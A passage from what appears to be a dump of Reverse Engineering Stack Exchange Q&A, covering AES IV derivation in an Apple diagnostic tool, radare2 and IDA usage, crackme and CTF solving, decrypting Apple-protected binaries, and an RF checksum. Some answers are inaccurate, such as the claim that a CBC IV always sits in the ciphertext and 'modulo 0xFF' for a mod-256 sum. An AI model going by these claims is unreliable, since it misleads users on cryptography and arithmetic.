href=\"https://i.stack.imgur.com/vt2x5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vt2x5.png\" alt=\"Screenshot of IV generation function disassembly\"></a></p>\n\n<p>From what I can tell, the function is basically doing this (Objective C):</p>\n\n<pre><code>double timestamp = 1517862344;\ndouble t1 = timestamp * 1000.0;\nuint64_t t2 = (uint64_t)timestamp;\nNSData *data = [NSData dataWithBytes:&amp;t2 length:16];\nNSLog(@\"%@\", data);\n</code></pre>\n\n<p>Where the data logged is the hex string for the given integer. This is further backed up with the fact that if I decrypt the base64 encoded data</p>\n\n<pre><code>elUxn0rJeP3/6rnm9XnTmzJIok0VUOrE6lceAWZsLXiz1tX9i+KhfWcfdq12FW3gbfSpjNu+glVhBA+0rM5RnB4QzWp1CRrQKs1YQ/B/H4F8i7/BBhlUVD1bGNDJdW0Uf4E7RzyBVcFAaLv1pjY+XEMcx2ED6bdNvUZfC5LKI+Qk2bsQiheOLpAGLIhWUQ8E\n</code></pre>\n\n<p>with the key (hex) <strong>7286276c0adb764ff1926bde8a12cbe6</strong> and IV <strong>4055a56761010000000054557a167642</strong> (output from the aforementioned Obj C code, as (128 AES CBC w/ PKCS7 padding) the resulting decrypted data is:</p>\n\n<pre><code>{\"reques\u00cb4\u00b6\u00c6\u00f0\u00cetem-serial-number\":\"C02S213LG8WQ\",\"system-environment\":\"EFI\",\"diagnostic-version\":\"1.1.15\",\"netboot-image\":\"EFI\"}}\n</code></pre>\n\n<p>where the correct output would be:</p>\n\n<pre><code>{\"request\":{\"system-serial-number\":\"C02S213LG8WQ\",\"system-environment\":\"EFI\",\"diagnostic-version\":\"1.1.15\",\"netboot-image\":\"EFI\"}}\n</code></pre>\n\n<p>Hence, my question is, given that the only data that is transmitted is that which is present in the sample request, and the decryption of the first block is partially successful, what have I misinterpreted in terms of generating the IV that enables one to properly decrypt the last part of the first block? A secondary question, if someone knows the answer, is why is it that the first block is successfully partially decrypted even when the IV is not completely correct?</p>\n\n<p>Link to the binary: <a href=\"https://www.dropbox.com/s/03mznlgsflkfn42/TA?dl=0\" rel=\"nofollow noreferrer\">https://www.dropbox.com/s/03mznlgsflkfn42/TA?dl=0</a></p>\n",
        "Title": "How is the IV generated from a timestamp based on this function?",
        "Tags": "|ida|disassembly|binary-analysis|x86|decryption|",
        "Answer": "<p>In AES CBC if you're encrypting the data, it's YOU who specify this IV, and usually it's just random bytes. So basically you don't care about how this Objective C code does this randomization, just use your own random data. IV is then stored within the encrypted data, at the very beginning.</p>\n\n<p>At the decryption side, AES CBC gets IV from the encrypted data and just uses it.</p>\n\n<p>So, unless you're doing academically correct reversing, you don't need to spend time on understanding how random data is generated in this particular case. </p>\n"
    },
    {
        "Id": "18207",
        "CreationDate": "2018-05-08T04:18:11.493",
        "Body": "<p>I am learning to analyze binaries using radare2 and have been confused about what occurs within imported functions. In the binary below, titled Lab2B, I statically disassembled the binary and then disassembled one of the imported library functions, sym.imp.printf. As you can see below it merely lists one instruction: <code>jmp dword [reloc.printf]</code>. When I seek to the location <code>[reloc.printf]</code> and I print the disassembled functions contained at it, the command line prints \"Cannot find function at 0x0804a00c\". I have noticed the same behavior with all of the other imported functions. They often have a single instruction that points to an address that doesn't contain any instructions. </p>\n\n<p>Why are there no instructions contained at the address that the instruction tells the compiler to jump to?</p>\n\n<p><a href=\"https://i.stack.imgur.com/LDuoZ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/LDuoZ.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Why do many imported functions jump to addresses that do not contain instructions?",
        "Tags": "|assembly|x86|radare2|functions|",
        "Answer": "<p>I assume you are statically inspecting the program, hence, the addresses of the imported symbols wasn't calculated yet by the linker. To understand that better you need to get familiar with two terms, PLT and GOT. Anyway, even if you are debugging the file, these are not functiona but a table with pointers. So <code>pdf</code> isn't what you should try. Give a shot to <code>pd</code>.</p>\n\n<h2>Dynamic Linking</h2>\n\n<p>The Procedure Linkage Table is a memory structure that contains a code stub for external functions that their addresses are unknown at the time of linking.  </p>\n\n<p>Whenever we see a <code>CALL</code> instruction to a function in the <code>.text</code> segment it doesn\u2019t call the function directly. Instead, it calls the stub code at the <code>PLT</code>, say <code>func_name@plt</code>. The stub then jumps to the address listed for this function in the Global Offset Table (<code>GOT</code>). If it is the first <code>CALL</code> to this function, the <code>GOT</code> entry will point back to the <code>PLT</code> which in turn would call a dynamic linker that will resolve the real address of the desired function. The next time that <code>func_name@plt</code> is called, the stub directly obtains the function address from the <code>GOT</code>. </p>\n\n<p>To read more about the linking process, I highly recommend <a href=\"https://www.airs.com/blog/archives/38\" rel=\"nofollow noreferrer\">this series of articles</a> about linkers by <em>Ian Lance Taylor</em>.</p>\n\n<hr>\n\n<p>Radare2 is detecting the addresses of the PLT and GOT. Where you see <code>sym.imp.printf</code> it is actually the reserved address for <code>printf()</code> int the PLT. When you see <code>reloc.printf</code> is the address reserved for it in the GOT.</p>\n\n<p>By using <code>iS</code> you can list the sections of <code>PLT</code> and <code>GOT</code>.</p>\n"
    },
    {
        "Id": "18217",
        "CreationDate": "2018-05-09T03:05:07.733",
        "Body": "<p>Have a functioning r2pipe script, but there's a need for hitting crtl-c to continue near the breakpoint(not a major issue,) however the script does not pause for input when the crackme asks for user input like it does in regular r2 command line. Whats the best way of sending input to the binary?\nThis tree of inputs is required near the end of the executable.\nCan't manage it to prompt even for the first.\nNo problems with script except for the input issue.</p>\n\n<pre><code>import r2pipe\nr = r2pipe.open('crackme, flags=['-d'])\nr.cmd('e dbg.profile=robot.rr2')\nr.cmd('db 0x080486d8;') \nprint(r.cmd('dc'))\nprint(r.cmd('dc'))\nsep=' '\n\nvalue1=int(r.cmd('? [ebp+0xc];').split(sep, 1)[0])\nvalue2=int(r.cmd('? [ebp+0x10];').split(sep, 1)[0])\nhex_operator=r.cmd('dr eax')\noperator=r.cmd('? '+(hex_operator))\n\nif '+' in operator:\n    answer=value1+value2\n\nelif '-' in operator:\n    answer=value1-value2\n\nprint(r.cmd('dc'))\n</code></pre>\n\n<p>Should prompt for input down here, but the execution just ends after the \"what's the password\"\nOR if I enter the r2 commands without r2pipe starting with: \n r2 -d crackme -c \"e dbg.profile=robot.rr2\"\nit does prompt me for input but rr2 still does not input whats in input.txt</p>\n\n<p>in my .rr2:</p>\n\n<pre><code>#!/usr/bin/rarun2\n</code></pre>\n\n<p>have tried</p>\n\n<pre><code>input=input.txt \n</code></pre>\n\n<p>and</p>\n\n<pre><code>stdin=input.txt\n</code></pre>\n\n<p>input.txt is just a string</p>\n\n<p>is it possible rarun's input or stdin directives are not compatible or something?</p>\n",
        "Title": "r2pipe won't prompt for user input like the binary does in r2 debugger mode",
        "Tags": "|binary-analysis|radare2|",
        "Answer": "<p>I think you're using some of the old version of r2, so my answer will not address that and show you how to do it with the latest one.</p>\n\n<p>The problem is with your first line, or wrong assumption that starting the debug session and applying rarun2 file will automatically get applied. It's not.</p>\n\n<p>So instead of connecting to r2 engine like this <code>r = r2pipe.open('crackme', flags=['-d'])</code> do this instead</p>\n\n<pre><code>r = r2pipe.open('crackme') #no debugging flag\nr.cmd('e dbg.profile=robot.rr2')\nr.cmd('ood') #reopen the file in debug mode - this will apply the dbg.profile settings\n...\n</code></pre>\n\n<p>With this approach, it will correctly map the settings in rr2 to the debugging session and in case you put input.txt it will inform that the file doesn't exist (it treats this as a file).</p>\n\n<p>But even with that approach, this crackme does some strange modifications to streams that are hard to follow. But at least with this change, you would be able to continue the investigation.</p>\n"
    },
    {
        "Id": "18223",
        "CreationDate": "2018-05-09T21:32:56.770",
        "Body": "<p>I'm trying to disassemble Dock.app on macOS Sierra, and IDA is giving me this error message:</p>\n\n<p><a href=\"https://i.stack.imgur.com/3mIUJ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/3mIUJ.png\" alt=\"enter image description here\"></a></p>\n\n<p>What does this mean?</p>\n",
        "Title": "IDA Pro: \"File is apple protected\"",
        "Tags": "|ida|macos|",
        "Answer": "<p>Here you have more details about Apple Binary Protection:\n<a href=\"http://cerbero-blog.com/?p=1311\" rel=\"nofollow noreferrer\">Creating undetected malware for OS X</a></p>\n\n<p>Setting <code>SMC_DEVICE_KEY</code> value in <code>~/.idapro/macho.cfg</code> works fine.</p>\n\n<p><a href=\"https://www.hopperapp.com/\" rel=\"nofollow noreferrer\">Hopper Disassembler</a> out of the box can decrypt those binaries too.</p>\n\n<p>At last, you can also run <a href=\"https://github.com/nygard/class-dump/blob/master/deprotect.m\" rel=\"nofollow noreferrer\">deprotect</a> from <a href=\"https://github.com/nygard/class-dump/\" rel=\"nofollow noreferrer\">class-dump</a> to decrypt those binaries <code>(__TEXT,__text)</code> section.</p>\n"
    },
    {
        "Id": "18226",
        "CreationDate": "2018-05-10T14:02:29.710",
        "Body": "<p>I see  word NASM, MASM, Intel, AT&amp;T. I am confused between them. Is it different types of assembly?</p>\n",
        "Title": "NASM, MASM, Intel, AT&T' syntax?",
        "Tags": "|assembly|nasm|intel|",
        "Answer": "<p>You are confusing several things.</p>\n<p><code>nasm</code>, <code>masm</code> and <code>gas</code> (GNU Assembler) are tools that compile an x86 assembly text file into an executable. Each of them do have a specific syntax to specify  your program. But, they share a lot on assembly instructions.</p>\n<p>Then, Intel and AT&amp;T are specific syntax to write x86 assembly programs. In fact, <code>nasm</code> and <code>masm</code> use the Intel syntax, where <code>gas</code> is using the AT&amp;T syntax.</p>\n"
    },
    {
        "Id": "18238",
        "CreationDate": "2018-05-11T15:25:53.100",
        "Body": "<p>I want to extract a generic signature of a function in IDA and wanted to use just the opcodes of the instructions without its operands.</p>\n\n<p>Example:</p>\n\n<p><a href=\"https://i.stack.imgur.com/kkrzx.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kkrzx.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>From the first instruction I want to know the bytes that tell the disassembler that it is a MOVZX instruction.</p>\n\n<p>From the second and third one the ones that say it is a MOV instruction (probably 8B).</p>\n\n<p>And so on..</p>\n\n<p>I'm aware that some instructions have modifiers. I just want to know the bytes that translate to certain <strong>mnemonic.</strong></p>\n",
        "Title": "Know which bytes are opcode and which operands in IDA",
        "Tags": "|ida|disassembly|disassemblers|",
        "Answer": "<p>In general this is not solvable since the opcode and operands may be sharing the same bytes (e. g. some instructions encode part of their opcode in the mod R/M byte, which can also  contain some of the operands at the same time), but you can get some  approximation by inspecting the <code>Operands</code> array of the <code>insn_t</code> structure returned by the <code>decode_insn</code> function. The <code>offb</code> member of each <code>op_t</code> element is supposed to be the offset of the bytes corresponding to the operand in the instruction bytes. </p>\n\n<p>Note that it may be 0 since it\u2019s not always possible to determine operand location at the byte level, especially on non-x86 architectures. For more info check the <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/ua_8hpp.html\" rel=\"nofollow noreferrer\"><code>ua.hpp</code> header</a> in the SDK.</p>\n"
    },
    {
        "Id": "18246",
        "CreationDate": "2018-05-12T13:00:05.050",
        "Body": "<p>I need to add new case, so here is that I do.</p>\n\n<ol>\n<li>Copy the jump table for switch statement to <code>0048199C</code> and add new ref to <code>4819C0</code>.\n<a href=\"https://i.stack.imgur.com/8N3Cc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8N3Cc.png\" alt=\"enter image description here\"></a></li>\n<li>Add new instructions below <a href=\"https://i.stack.imgur.com/Zz3zm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Zz3zm.png\" alt=\"enter image description here\"></a></li>\n<li>Set new address <code>0048199C</code><a href=\"https://i.stack.imgur.com/NX6NU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NX6NU.png\" alt=\"enter image description here\"></a></li>\n<li>In the indirect table for switch statement (<code>004061C4</code>) change the one 7 to 8 <a href=\"https://i.stack.imgur.com/Krjgm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Krjgm.png\" alt=\"enter image description here\"></a></li>\n<li>Apply patches and try using a new case and see how that works. It's ok. The program does what I want.</li>\n</ol>\n\n<p>After that click F5 and finally got such error:\n<a href=\"https://i.stack.imgur.com/Fpsj9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Fpsj9.png\" alt=\"enter image description here\"></a></p>\n\n<p>What's wrong and how do I fix it? I'm using IDA v7.0.170914</p>\n",
        "Title": "Hex-Rays can't parse switch (bad target for case)",
        "Tags": "|ida|x86|",
        "Answer": "<p>I found a solution to my problem.</p>\n\n<pre><code>Edit - Other - Specify switch idiom...\n</code></pre>\n\n<p>Set new value for Number of elements: 9</p>\n\n<p><a href=\"https://i.stack.imgur.com/dekSv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dekSv.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18250",
        "CreationDate": "2018-05-13T00:59:26.717",
        "Body": "<p>I am banging my head to figure out the checksum of a RF device, it seems to be a simple one but no luck so far...</p>\n\n<p>The first 3 bytes is the SyncWord then 9 bytes is the payload and the last byte presumably is the checksum.</p>\n\n<pre><code>          +-------+-------+-------+-------+ ... +--------+--------+\n          | byte0 | byte1 | byte2 | byte3 | ... | byte11 | byte12 |\n          +-------+-------+-------+-------+ ... +--------+--------+\n          &lt;---- SyncWord (3) ----&gt; &lt;--- Payload (9) ----&gt; &lt;- CRC -&gt;\n</code></pre>\n\n<p>It seems some kind of linear function but I cannot figure it out.</p>\n\n<p>Any help will be appreciated!</p>\n\n<h3>Some ordered output</h3>\n\n<pre><code>0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6\n0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30\n0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38\n\n0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0xFB\n0xE1,0xC0,0x0A,0x4F,0xAA,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0x1B\n0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x34,0x94,0x85,0x27,0x13,0xF9\n0xE1,0xC0,0x0A,0x0E,0x8A,0x60,0x38,0x34,0x94,0x85,0x27,0x13,0xD1\n</code></pre>\n\n<h3>Samples</h3>\n\n<pre><code>0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x24\n0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x04\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x44\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x31,0x11,0x9E,0x89,0x03,0x33,0x2A\n0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0xDA\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x11,0x9E,0x89,0x03,0x33,0x1A\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x12\n0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0xF2\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x11,0x9E,0x89,0x03,0x33,0x32\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x11,0x9E,0x89,0x03,0x33,0x42\n0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0xCE\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x15,0x9E,0x89,0x03,0x33,0x0E\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x1E\n0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0xFE\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x15,0x9E,0x89,0x03,0x33,0x3E\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x39,0x15,0x9E,0x89,0x03,0x33,0x36\n0xE1,0xC0,0x0A,0x1F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0xE6\n0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9E,0x89,0x03,0x33,0x26\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x87\n0xE1,0xC0,0x0A,0x1F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0x67\n0xE1,0xC0,0x0A,0x5F,0xAE,0x64,0x31,0x11,0x9C,0x88,0x03,0xB3,0xA7\n0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x31,0x11,0x9C,0x88,0x03,0xB3,0xB7\n0xE1,0xC0,0x0A,0x1F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x4F\n0xE1,0xC0,0x0A,0x5F,0x8E,0x64,0x39,0x11,0x9C,0x88,0x03,0xB3,0x8F\n\n0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x75\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x01,0x86,0x81,0x01,0x30,0x55\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0x65\n0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x91,0x01,0x86,0x81,0x01,0x30,0xA5\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x01,0x86,0x81,0x01,0x30,0x3D\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x4D\n0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x8D\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x01,0x86,0x81,0x01,0x30,0x6D\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x59\n0xE1,0xC0,0x0A,0x5E,0x2F,0x24,0x91,0x05,0x86,0x81,0x01,0x30,0x99\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x05,0x86,0x81,0x01,0x30,0x49\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x41\n0xE1,0xC0,0x0A,0x5E,0x0F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x81\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x05,0x86,0x81,0x01,0x30,0x61\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0x71\n0xE1,0xC0,0x0A,0x5E,0x2F,0x34,0x99,0x05,0x86,0x81,0x01,0x30,0xB1\n0xE1,0xC0,0x0A,0x1E,0x0F,0x24,0x91,0x01,0x84,0x80,0x01,0xB0,0xB2\n0xE1,0xC0,0x0A,0x1E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xC2\n0xE1,0xC0,0x0A,0x5E,0x0F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0x02\n0xE1,0xC0,0x0A,0x1E,0x2F,0x34,0x91,0x01,0x84,0x80,0x01,0xB0,0xE2\n0xE1,0xC0,0x0A,0x1E,0x2F,0x24,0x99,0x01,0x84,0x80,0x01,0xB0,0xDA\n\n0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x30,0x14,0x9C,0x88,0x23,0x13,0xD1\n0xE1,0xC0,0x0A,0x0F,0xAA,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xE1\n0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x30,0x14,0x9C,0x88,0x23,0x13,0xC1\n0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xB9\n0xE1,0xC0,0x0A,0x0F,0xAA,0x60,0x38,0x14,0x9C,0x88,0x23,0x13,0xD9\n0xE1,0xC0,0x0A,0x0F,0x8A,0x70,0x38,0x14,0x9C,0x88,0x23,0x13,0xC9\n0xE1,0xC0,0x0A,0x0F,0x8A,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0xAF\n0xE1,0xC0,0x0A,0x4F,0xAA,0x60,0x30,0x10,0x9E,0x88,0x23,0x13,0x0F\n0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x10,0x9E,0x88,0x23,0x13,0xFF\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x18\n0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0x06\n0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6\n0xE1,0xC0,0x0A,0x0E,0x8A,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xD6\n0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6\n</code></pre>\n",
        "Title": "What Checksum/CRC algorithm in RF packet?",
        "Tags": "|protocol|crc|networking|",
        "Answer": "<p>The checksum algorithm is simple indeed. It adds all the payload bytes modulo 0xFF and then adds 26.</p>\n\n<p>I wrote a script to test it:</p>\n\n<pre><code>#!/usr/bin/python\n\nimport binascii\n\ndef checksum(data):\n    payload = data[3:-1]\n    checksum = 26\n    for c in payload:\n        checksum += c\n    checksum &amp;= 0xFF\n    return checksum\n\nwith open(\"input.txt\",\"r\") as f:\n    for line in f:\n        line = line.strip()\n        if line == \"\":\n            continue\n        line = line.replace(\",\",\"\")\n        line = line.replace(\"0x\",\"\")\n\n        data = binascii.unhexlify(line)\n\n        if checksum(data) == data[-1]:\n            print(\"pass\")\n        else:\n            print(\"fail\")\n</code></pre>\n\n<p>I copied your above samples into <code>input.txt</code> and they all passed.</p>\n\n<p>As for how I found out, I googled about sync words (didn't know what that is), and 1 byte checksums and some other post mentioned simple addition. I also tested multiple CRC8 variants but none worked. I also found it telling that the checksum seems to reflect changes in the input, such as:</p>\n\n<pre><code>0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10\n0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20\n</code></pre>\n\n<p>The <code>0x60</code> changed to <code>0x70</code> and so did the checksum increase by <code>0x10</code> which - I think - would not be as obvious for CRCs.</p>\n"
    },
    {
        "Id": "18252",
        "CreationDate": "2018-05-13T10:59:57.293",
        "Body": "<p>This binary was from a CTF challenge.</p>\n\n<p>I found 2 way to solve this, one is run &amp; debug the bin, set a break point and see result in flag after the bin running, another is trying to understand the function.</p>\n\n<p>There are some parts that i dont understand even when i solved this challenge :</p>\n\n<p>Why my IDA reverse the string (v6 should be \"Bkav\" and v7 + v8 should be \"Security\"</p>\n\n<p>As you see, it pass the char* v6 (\"Bkav\") into the func01 and func02, but when i do the same thing, it give wrong flag. But when i try to pass the \"BkavSecurity\" in to func01 and func02, it give me right flag. Quite confuse about this.</p>\n\n<p><a href=\"https://i.stack.imgur.com/m3rp8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/m3rp8.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can find file here : <a href=\"https://www.sendspace.com/file/g7w8nz\" rel=\"nofollow noreferrer\">https://www.sendspace.com/file/g7w8nz</a></p>\n",
        "Title": "Some question about IDA",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>well you can create a <strong>stackvar K</strong>   on all the four instructions and convert those stack variables to an array of proper length </p>\n\n<p>then you can see ida showing you the offsets from base the screen shot is from ida free 5 on a 32 bit machine  (it doesn't decompile ) </p>\n\n<p>but in your case i think decompilation would be more better ( this construct is an inlined/unrolled strcpy(src,dest) </p>\n\n<p><a href=\"https://i.stack.imgur.com/q7JRx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/q7JRx.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18274",
        "CreationDate": "2018-05-15T17:39:46.870",
        "Body": "<p>Some times the psuedo code generated by IDA is baffling</p>\n\n<pre><code>v8 = (signed int)&amp;loc_100010; //ida\nv8 = 0x100010; //actual code\n</code></pre>\n\n<p>This is not so bad when it is just one value but sometimes the offset for member variables are also distorted this way</p>\n\n<pre><code>v2 = a1 + (_DWORD)&amp;loc_2043B90 - 33831600); //ida\nv2 = a1 + 224; //actual offset\n</code></pre>\n\n<p>This makes for horrible readability and it is even worse for arrays. Is there a way to fix this?</p>\n\n<p>This happens a lot with floating point numbers</p>\n\n<pre><code>v63 = **(float **)((char *)&amp;loc_15D9503 + 33831601)\n</code></pre>\n\n<p>I should add this is a MACH-O x86 binary (if that matters)</p>\n",
        "Title": "How to do i fix it when IDA pro mislabels values as loc_",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>Names with loc_ prefix are generated in case IDA thinks that it's code at that address. So now IDA thinks that theres' code at 2043B90 and at 100010.</p>\n\n<p>You should go to 2043B90 (in the disassembly view), undefine the code piece which IDA create and create a data structure there, then specify the type information (Y key) that it's an array like \"int myarray[300]\". This is just an example, you need to determine the type of the data yourself.</p>\n\n<p>As for loc_100010, you should also go to the address 100010 undefine the code there and create a string, if you think that there's a literal. </p>\n\n<p>Then press F5 in you function again to renew the decompiler output.</p>\n\n<p>p.s. IDA might want to keep the loc_ names even after you undefine the code piece, so you'll need to delete this loc_ name in order to make IDA generate the new one.</p>\n"
    },
    {
        "Id": "18276",
        "CreationDate": "2018-05-15T18:51:48.143",
        "Body": "<p>The first time I heard about binary disassembly I thought that it is something what can be called as perfect decompilation tool to assembly code and I still don't understand why it is not. I thought that assembly opcodes can be translated directly to binary sequences and directly back from binary sequences to opcodes but leater I heard about some things like possibility of mixing code and data and possibly some other things that make my thought about that I could dissasemble any binary and back assemble it to recreate the same binary impossible. Please don't downvote me immediately. I know practically nothing about reverse engineering and I'm thinking about starting my adventure with it. Can You please axplain me on some examples why things are like they are ?</p>\n",
        "Title": "What exactly is binary disassembly and what it produces?",
        "Tags": "|disassembly|decompilation|",
        "Answer": "<p>First of all welcome to the world of reverse engineering, if there was really such a tool as a perfect disassembler this whole stack exchange forum wouldn't even exist.</p>\n\n<p>Before tackling your question right away I'd like to start talking about what reversing really means and what it is all about as I see it as a more appropriate approach to your question.</p>\n\n<p>The first question you ask given a binary file is \"What?\" I mean in both senses, a binary dump of what seems to be an infinetely large sequence of zeroes and ones and is in fact a your favorite video game or driver.</p>\n\n<p><strong>How do you interpret the data?</strong>\nHonestly, this sequence could be anything a text file, program, driver, image, music, video, some trojan etc.. and suppose you know it's one of the above, you still don't know how to interpret it, if it's some sort of media, what format is it (png, mp3, avi...)? \nIf it is a program for which platform is it (windows / Linux) or even worse what CPU architecture is it even for (x86, ARM, PowerPC, MSP430...), and what version of that CPU is it for?. Wait but what if it is encrypted? What encryption is it? I believe you get the point by now.</p>\n\n<p>The last paragraph is meant to give a sense to the ridiculously large amount of possibilities that this said series of code could represent.\nNow your question is specifically about code disassembly. Disassembly is exactly the process of converting the different binary sequences into their original opcode, however when you get a program and supposing you know the platform / CPU / version etc..</p>\n\n<p>And, supposing the opcodes couldn't be mixed up. For example, Let 0101 (instruction a), 0011 (b) be opcodes, suppose there is also longer different opcodes 01010011 (c) and 00110101 (d). Given the sequence 0101001100110101\nHow do you know how to interpret the code (abba, cd, cab..)? (Spoiler: usually ISAs are designed in a way that such collisions wouldn't be made possible)</p>\n\n<p>Great, we now supposedly have a perfect disassembler and now we want to get a step further, and get the original code. Here comes the problem</p>\n\n<p>Take for example the following code:</p>\n\n<pre><code>.loop:\n    xadd eax, edx\n    loop .loop\n</code></pre>\n\n<p>Basically what we see here is a command of addition and exchange (add edx to eax and then switch their content) now the trivial way to make out the original code would be something like:</p>\n\n<pre><code>for (int i = n; i &gt; 0; i--)\n{\n    a += b;\n    switch(a, b);\n}\n</code></pre>\n\n<p>However the smart reverse engineer <em>could</em> translate it as such:</p>\n\n<pre><code>genrate_nth_fibonnacci(n);\n</code></pre>\n\n<p>when eax and edx start at 0 and 1</p>\n\n<p>Similarly, a series of random commands in a malware may be translated into \"makeAntivirusNotNotice\" function or in an otherwise legit program be a very efficient algorithm for 